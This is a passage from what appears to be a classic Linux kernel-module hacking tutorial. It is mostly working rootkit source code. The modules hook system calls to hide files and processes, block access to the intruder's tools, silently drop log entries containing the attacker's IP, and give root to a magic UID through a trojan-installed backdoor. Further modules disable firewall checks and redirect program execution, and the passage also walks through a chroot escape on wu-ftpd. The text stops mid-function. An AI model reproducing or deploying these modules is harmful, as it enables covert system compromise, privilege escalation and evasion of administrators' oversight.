close(3)                                = 0
stat("/etc/ld.so.preload", 0xbffff780)  = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3)                                = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363)               = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX)                  = 0
geteuid()                               = 500
getuid()                                = 500
getgid()                                = 100
getegid()                               = 100
brk(0x804aa48)                          = 0x804aa48
brk(0x804b000)                          = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000)                          = 0x804c000
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x40008000, 4096)                = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3)                                = 0
geteuid()                               = 500
open("/etc/passwd", O_RDONLY)           = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3)                                = 0
munmap(0x4000b000, 4096)                = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
write(1, "r00t\n", 5r00t
)                   = 5
_exit(0)                                = ?

This is a very nice listing of all systamcalls made by the command 'whoami', isn't it ? There are 4 interesting systemcalls to intercept in order to manipulate the output of 'whoami'
geteuid()                               = 500
getuid()                                = 500
getgid()                                = 100
getegid()                               = 100

Take a look at II.6 for an implementation of that problem. This way of analysing programs is also very important for a quick look at other standard tools.
I hope you are now able to find any systemcall which can help you to hide yourself or just to backdoor the system, or whatever you want.
3. Confusing the kernel's System Table
In II.1 you saw how to access the sys_call_table, which is exported through the kernel symbol table. Now think about this... We can modify any exported item (functions, structures, variables, for example) by accessing them within our module.
Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot be compromised that way, because we don't export any symbols. Here is a little excerpt from my /proc/ksyms file, just to show you what you can actually modify.
...
001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
...

Just look at call_in_firewall, this is a function used by the firewall management in the kernel. What would happen if we replace this function with a bogus one ?
Take a look at the following LKM :
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*get the exported function*/
extern int *call_in_firewall;

/*our nonsense call_in_firewall*/
int new_call_in_firewall()
{
return 0;
}

int init_module(void)                /*module setup*/
{
call_in_firewall=new_call_in_firewall;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
}

Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping 127.0.0.1', your kernel will produce a nice error message, because the called call_in_firewall(...) function was replaced by a bogus one (you may skip the firewall installation in this example).
This is a quite brutal way of killing an exported symbol. You could also disassemble (using gdb) a certain symbol and modify certain bytes which will change the working of that symbol. Imagine there is a IF THEN contruction used in an exported function. How about disassembling this function and searching for commands like JNZ, JNE, ... This way you would be able to patch important items. Of course, you could lookup the functions in the kernel / module sources, but what about symbols you cannot get the source for because you only got a binary module. Here the disassembling is quite interesting.

4. Filesystem related Hacks
The most important feature of LKM hacking is the abilaty to hide some items (your exploits, sniffer (+logs), and so on) in the local filesystem.
4.1 How to Hide Files
Imagine how an admin will find your files : He will use 'ls' and see everything. For those who don't know it, strace'in through 'ls' will show you that the systemcall used for getting directory listings is
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

So we know where to attack.The following piece of code shows the hacked_getdents systemcall adapted from AFHRM (from Michal Zalewski). This module is able to hide any file from 'ls' and every program using getdents systemcall.
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getdents) (uint, struct dirent *, uint);

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char hide[]="ourtool";                       /*the file to hide*/

/*call original getdents -> result is saved in tmp*/
tmp = (*orig_getdents) (fd, dirp, count);

/*directory cache handling*/
/*this must be checked because it could be possible that a former getdents
put the results into the task process structure's dcache*/
#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

/*dinode is the inode of the required directory*/
if (tmp > 0)
{
  /*dirp2 is a new dirent structure*/
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  /*copy original dirent structure to dirp2*/
  memcpy_fromfs(dirp2, dirp, tmp);
  /*dirp3 points to dirp2*/
  dirp3 = dirp2;
  t = tmp;
  while (t > 0)
  {
   n = dirp3->d_reclen;
   t -= n;
   /*check if current filename is the name of the file we want to hide*/
   if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
   {
    /*modify dirent struct if necessary*/
    if (t != 0)
     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
    else
     dirp3->d_off = 1024;
    tmp -= n;
   }
   if (dirp3->d_reclen == 0)
   {
    /*
     * workaround for some shitty fs drivers that do not properly
     * feature the getdents syscall.
    */
    tmp -= t;
    t = 0;
   }
  if (t != 0)
   dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
}
return tmp;
}

int init_module(void)                /*module setup*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_getdents]=orig_getdents;
                                       
}

For beginners : read the comments and use your brain for 10 mins.
After that continue reading.
This hack is really helpful. But remember that the admin can see your file by directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our file. So never take any trivial names for your tools like sniffer, mountdxpl.c, .... Of course their are ways to prevent an admin from reading our files, just read on.

4.2 How to hide the file contents (totally)
I never saw an implementation really doing this. Of course their are LKMs like AFHRM by Michal Zalewski controlling the contents / delete functions but not really hiding the contents. I suppose their are lots of people actually using methods like this, but no one wrote on it, so I do.
It should be clear that there are many ways of doing this. The first way is very simple,just intercept an open systemcall checking if filename is 'ourtool'. If so deny any open-attempt, so no read / write or whatever is possible. Let's implement that LKM :

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_open)(const char *pathname, int flag, mode_t mode);

int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]="ourtool";

/*this is old stuff -> transfer to kernel space*/
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_pathname, pathname, 255);

if (strstr(kernel_pathname, (char*)&hide ) != NULL)
{
  kfree(kernel_pathname);
  /*return error code for 'file does not exist'*/
  return -ENOENT;
}
else
{
  kfree(kernel_pathname);
  /*everything ok, it is not our tool*/
  return orig_open(pathname, flag, mode);
}
}

int init_module(void)                /*module setup*/
{
orig_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=hacked_open;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_open]=orig_open;                                      
}

This works very fine, it tells anyone trying to access our files, that they are non-existent. But how do we access those files. Well there are many ways
implement a magic-string

implement uid or gid check (requires creating a certain account)

implement a time check

...

There are thousands of possibilies which are all very easy to implement, so I leave this as an exercise for the reader.
4.3 How to hide certain file parts (a prototype implementation)
Well the method shown in 3.2 is very useful for our own tools / logs. But what about modifying admin / other user files. Imagine you want to control /var/log/messages for entries concerning your IP address / DNS name. We all know thousands of backdoors hiding our identity from any important logfile. But what about a LKM just filtering every string (data) written to a file. If this string contains any data concerning our identity (IP address, for example) we deny that write (we will just skip it/return). The following implementation is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it before, but as in 3.2 there may be some people using this since years.
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_write)(unsigned int fd, char *buf, unsigned int count);

int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
char *kernel_buf;
char hide[]="127.0.0.1"; /*the IP address we want to hide*/

kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

memcpy_fromfs(kernel_buf, buf, 999);

if (strstr(kernel_buf, (char*)&hide ) != NULL)
{
  kfree(kernel_buf);
  /*say the program, we have written 1 byte*/
  return 1;
}
else
{
  kfree(kernel_buf);
  return orig_write(fd, buf, count);
}
}

int init_module(void)                /*module setup*/
{
orig_write=sys_call_table[SYS_write];
sys_call_table[SYS_write]=hacked_write;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_write]=orig_write;                                      
}

This LKM has several disadvantages, it does not check for the destination it the write is used on (can be checked via fd; read on for a sample). This means the even a 'echo '127.0.0.1'' will be printed.
You can also modify the string which should be written, so that it shows an IP address of someone you really like... But the general idea should be clear.

4.4 How to redirect / monitor file operations
This idea is old, and was first implemented by Michal Zalewski in AFHRM. I won't show any code here, because it is too easy to implemented (after showing you II.4.3/II.4.2).There are many things you can monitor by redirection/ filesystem events :
someone writes to a file -> copy the contents to another file =>this can be done with sys_write(...) redirection

someone was able to read a sensitve file -> monitor file reading of certain files
=>this can be done with sys_read(...) redirection

someone opens a file -> we can monitor the whole system for such events
=>intercept sys_open(...) and write files opened to a logfile; this is the ways AFHRM monitors the files of a system (see IV.3 for source)

link / unlink events -> monitor every link created
=>intercept sys_link(...) (see IV.3 for source)

rename events -> monitor every file rename event
=>intercept sys_rename(...) (see IV.4 for source)

...

These are very interesting points (especially for admins) because you can monitor a whole system for file changes. In my opinion it would also be interesting to monitor file / directory creations, which use commands like 'touch' and 'mkdir'.
The command 'touch' (for example) does not use open for the creation process; a strace shows us the following listing (excerpt) :
...
stat("ourtool", 0xbffff798)             = -1 ENOENT (No such file or directory)
creat("ourtool", 0666)                  = 3
close(3)                                = 0
_exit(0)                                = ?

As you can see the system uses the systemcall sys_creat(..) to create new files. I think it is not necessary to present a source,because this task is too trivial just intercept sys_creat(...) and write every filename to logfile with printk(...).
This is the way AFHRM logs any important events.
4.5 How to avoid any file owner problems
This hack is not only filesystem related, it is also very important for general permission problems. Have a guess which systemcall to intercept.Phrack (plaguez) suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid is used with this magic UID, the module will set the UIDs to 0 (SuperUser).
Let's look at his implementation(I will only show the hacked_setuid systemcall):
...
int hacked_setuid(uid_t uid)
{
    int tmp;
   
    /*do we have the magic UID (defined in the LKM somewhere before*/
    if (uid == MAGICUID) {
    /*if so set all UIDs to 0 (SuperUser)*/
        current->uid = 0;
        current->euid = 0;
        current->gid = 0;
        current->egid = 0;
        return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}
...

I think the following trick could also be very helpful in certain situation. Imagine the following situation: You give a bad trojan to an (very silly) admin; this trojan installs the following LKM on that system [i did not implement hide features, just a prototype of my idea] :
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;
     
    /*check for our UID*/
    if (current->uid=500) {
    /*if its our UID -> this means we log in -> give us a rootshell*/
            current->uid = 0;
        current->euid = 0;
        current->gid = 0;
        current->egid = 0;
        return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}

int init_module(void)                /*module setup*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_getuid]=orig_getuid;                                      
}

If this LKM is loaded on a system we are only a normal user, login will give us a nice rootshell (the current process has SuperUser rights). As I said in part I current points to the current task structure.
4.6 How to make a hacker-tools-directory unaccessible
For hackers it is often important to make the directory they use for their tools (advanced hackers don't use the regular local filesystem to store their data). Using the getdents approach helped us to hide directory/files. The open approach helped us to make our files unaccessible. But how to make our directory unaccessible ?
Well - as always - take a look at include/sys/syscall.h; you should be able to figure out SYS_chdir as the systemcall we need (for people who don't believe it just strace the 'cd' command...). This time I won't give you any source, because you just need to intercept sys_mkdir, and make a string comparison. After this you should make a regular call (if it is not our directory) or return ENOTDIR (standing for 'there exists no directory with that name'). Now your tools should really be hidden from intermediate admins (advanced / paranoid ones will scan the HDD at its lowest level, but who is paranoid today besides us ?!). It should also be possible to defeat this HDD scan, because everything is based on systemcalls.

4.7 How to change CHROOT Environments
This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a real good text on that theme ('Restricting a restricted FTP'). I will explain their idea in some short words. Please note that the following example will not work anymore, it is quite old (see wu-ftpd version). I just show it in order to explain how you can escape from chroot environments using LKMs. The following text is based on old software (wuftpd) so don't try to use it in newer wu-ftpd versions, it won't work.
HISPAHACK's paper is based on the idea of an restricted user FTP account which has the following permission layout :

drwxr-xr-x     6 user      users      1024 Jun 21 11:26 /home/user/
drwx--x--x     2 root      root       1024 Jun 21 11:26 /home/user/bin/

This scenario (which you can often find) the user (we) can rename the bin directory, because it is in our home directory.
Before doing anything like that let's take a look at whe working of wu.ftpd (the server they used for explanation, but the idea is more general). If we issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid). Before the execution is actually done wu.ftpd will use chroot(...) in order to set the process root directory in a way we are restricted to the home directory. This prevents us from accessing other parts of the filesystem via our FTP account (restricted).
Now imagine we could replace /bin/ls with another program, this program would be executed as root (uid=0). But what would we win, we cannot access the whole system because of the chroot(...) call. This is the point where we need a LKM helping us. We remove .../bin/ls with a program which loads a LKM supplied by us. This module will intercept the sys_chroot(...) systemcall. It must be changed in way it will no more restrict us.
This means we only need to be sure that sys_chroot(...) is doing nothing. HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way it only returns 0 and nothing more. After loading this LKM you can spawn a new process without being restricted anymore. This means you can access the whole system with uid=0. The following listing shows the example 'Hack-Session' published by HISPAHACK :
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.</TT></PRE>
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .
drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 ..
d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin
drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc
drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .
drwxr-xr-x  5 user              users                  1024 Jun 21 21:26 ..
d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin
drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc
drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home
226 Transfer complete.
ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x  1 root              root                   138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
ftp> bye
221 Goodbye.
thx:~#

--> now we start a new FTP session without being restricted (LKM is loaded so
    sys_chroot(...) is defeated. So do what you want (download passwd...)

In the Appendix you will find the complete source code for the new ls and the module.

5. Process related Hacks
So far the filesystem is totally controlled by us. We discussed the most interesting 'Hacks'. Now its time to change the direction. We need to discuss LKMs confusing commands like 'ps' showing processes.
5.1 How to hide any process
The most important thing we need everyday is hiding a process from the admin. Imagine a sniffer, cracker (should normally not be done on hacked systems), ... seen by an admin when using 'ps'. Oldschool tricks like changing the name of the sniffer to something different, and hoping the admin is silly enough, are no good for the 21. century. We want to hide the process totally. So lets look at an implementation from plaguez (some very minor changes):
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <linux/proc_fs.h>

extern void* sys_call_table[];

/*process name we want to hide*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*convert a string to number*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < '0' || *ptr > '9')
   return (-1);
  res += (*ptr - '0') * mul;
  mul *= 10;
}
return (res);
}

/*get task structure from PID*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
  if (p->pid == pid)
   return p;
   p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*get process name from task structure*/
static inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;

name = p->comm;
i = sizeof(p->comm);
do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
   break;
  if (c == '\\') {
   buf[1] = c;
   buf += 2;
   continue;
  }
  if (c == '\n') {
   buf[0] = '\\';
   buf[1] = 'n';
   buf += 2;
   continue;
  }
  buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}

/*check whether we need to hide this process*/
int invisible(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer;
if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
   kfree(buffer);
   return 1;
  }
}
return 0;
}

/*see II.4 for more information on filesystem hacks*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;

tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
   n = dirp3->d_reclen;
   t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
    tmp -= n;
   }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
}
return tmp;
}

int init_module(void)                /*module setup*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_getdents]=orig_getdents;                                      
}

The code seems complicated, but if you know how 'ps' and every process analyzing tool works, it is really easy to understand. Commands like 'ps' do not use any special systemcall for getting a list of the current processes (there exists no systemcall doing this). By strace'in 'ps' you will recognize that it gets its information from the /proc/ directory. There you can find lots of directories with names only consisting of numbers. Those numbers are the PIDs of all running processes on that system. Inside these directories you find files which provide any information on that process.So 'ps' just does an 'ls' on /proc/; every number it finds stands for a PID it shows in its well-known listing. The information it shows us about every process is gained from reading the files inside /proc/PID/. Now you should get the idea.'ps' must read the contents of the /proc/ directory, so it must use sys_getdents(...).We just must get the name of the a PID found in /proc/; if it is our process name we want to hide, we will hide it from /proc/ (like we did with other files in the filesystem -> see 4.1). The two task functions and the invisible(...) function are only used to get the name for a given PID found in the proc directory and related stuff. The file hiding should be clear after studying 4.1.
I would improve only one point in plaguez approuch. I don't know why he used a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these are peanuts. Of course, in a complete hide module you would put file and process hiding in one hacked getdents call (this is the way plaguez did it).
Runar Jensen used another, more complicated way. He also hides the PIDs from the /proc directory, but the way he checks whether to hide or not is a bit different. He uses the flags field in the task structure. This unsigned long field normally uses the following constants to save some information on the task :

PF_PTRACED : current process is observed

PF_TRACESYS : " " " "

PF_STARTING : process is going to start

PF_EXITING : process is going to terminate

Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate that the corresponding process should be invisible. So a PID found in /proc by using sys_getdents(...) must not be resolved in its name. You only have to check for the task flag field. This sounds easier than the 'name approach'. But how to set this flag for a process we want to hide. Runar Jensen used the easiest way by hooking sys_kill(...). The 'kill' command can send a special code (9 for termination, for example) to any process speciafied by his PID. So start your process which is going to be invisible, do a 'ps' for getting its PID. And use a 'kill -code PID'. The code field must be a value that is not used by the system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs to hook sys_kill(...) and check for a code of 32. If so it must set the task flags field of the process specified through the PID given to sys_kill(...). This is a way to set the flag field. Now it is clear why this approach is a bit too complicated for an easy practical use.
5.2 How to redirect Execution of files
In certain situations it could be very interesting to redirect the execution of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This would allow you to insert any trojan without problem of checksum checks on those files (you don't need to change them). So let's again search the responsible systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez way of redirection (the original idea came from halflife) :

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

/*must be defined because of syscall macro used below*/
int errno;

/*we define our own systemcall*/
int __NR_myexecve;

/*we must use brk*/
static inline _syscall1(int, brk, void *, end_data_segment);

int (*orig_execve) (const char *, const char *[], const char *[]);

/*here plaguez's user -> kernel space transition specialized for strings
is better than memcpy_fromfs(...)*/
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}

/*this is something like a systemcall macro called with SYS_execve, the
asm code calls int 0x80 with the registers set in a way needed for our own
__NR_myexecve systemcall*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
                     (filename)), "c"((long) (argv)),                      "d"((long) (envp)));
    return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
char *test;
int ret, tmp;
char *truc = "/bin/ls";        /*the file we *should* be executed*/
char *nouveau = "/bin/ps";     /*the new file which *will* be executed*/
unsigned long mmm;

test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
/*get file which a user wants to execute*/
(void) strncpy_fromfs(test, filename, strlen(truc));
test[strlen(truc)] = '\0';
/*do we have our truc file ?*/
if (!strcmp(test, truc))
{
  kfree(test);
  mmm = current->mm->brk;
  ret = brk((void *) (mmm + 256));
  if (ret < 0)
   return ret;
  /*set new program name (the program we want to execute instead of /bin/ls or
  whatever)*/
  memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  /*execute it with the *same* arguments / environment*/
  ret = my_execve((char *) (mmm + 2), argv, envp);
  tmp = brk((void *) mmm);
} else {
  kfree(test);
  /*no the program was not /bin/ls so execute it the normal way*/
  ret = my_execve(filename, argv, envp);
}
return ret;
}

int init_module(void)                /*module setup*/
{
/*the following lines choose the systemcall number of our new myexecve*/
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  sys_call_table[__NR_myexecve] = orig_execve;
